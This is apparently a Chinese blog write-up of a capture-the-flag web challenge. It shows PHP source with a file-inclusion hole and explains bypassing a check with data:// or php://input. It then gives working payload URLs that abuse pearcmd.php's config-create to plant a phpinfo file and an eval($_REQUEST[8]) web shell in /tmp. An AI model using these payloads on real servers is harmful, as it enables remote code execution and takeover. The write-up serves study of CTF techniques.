利用 pearcmd.php 实现 Getshell

Itachi

学习连接:西湖论剑的一道Web

源码

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if(isset($_GET['check'])){
if(file_get_contents($_GET['check']) === "LFI"){
@include($_GET['a']);
}else{
die("no!");
}
}

分析

信息搜集了一圈,啥也没有,也就是说不知道flag在哪个文件夹,自然无法简单的include
先分析源码吧

file_get_contents($_GET[‘check’]) === “LFI”

这里要求 $check 文件中的内容必须为 LFI ,有两种方法:
?check=php://input,请求包中加上POST数据:LFI
?check=data://text/plain,LFI

@include($_GET[‘a’]);

可以读取任意文件


一般思路是寻找可包含文件,但刚才信息收集下来没有发现可疑文件,这个时候考虑包含系统敏感文件、php配置文件、Apache配置文件等
我尝试了一圈发现不可行

利用Pearcmd.php

简单来说就是利用这个文件中的pear命令行,其中有个可利用参数 config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

learn by here

构造payload:/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php
访问 /tmp/shell.php
img
剩下的就是常规套路
/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST[8])?>+/tmp/shell.php
img

  • 标题: 利用 pearcmd.php 实现 Getshell
  • 作者: Itachi
  • 创建于 : 2022-01-12 19:53:39
  • 更新于 : 2022-01-12 22:09:17
  • 链接: https://blog.tarchi.top/ctf/利用pearcmd-php实现Getshell/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
利用 pearcmd.php 实现 Getshell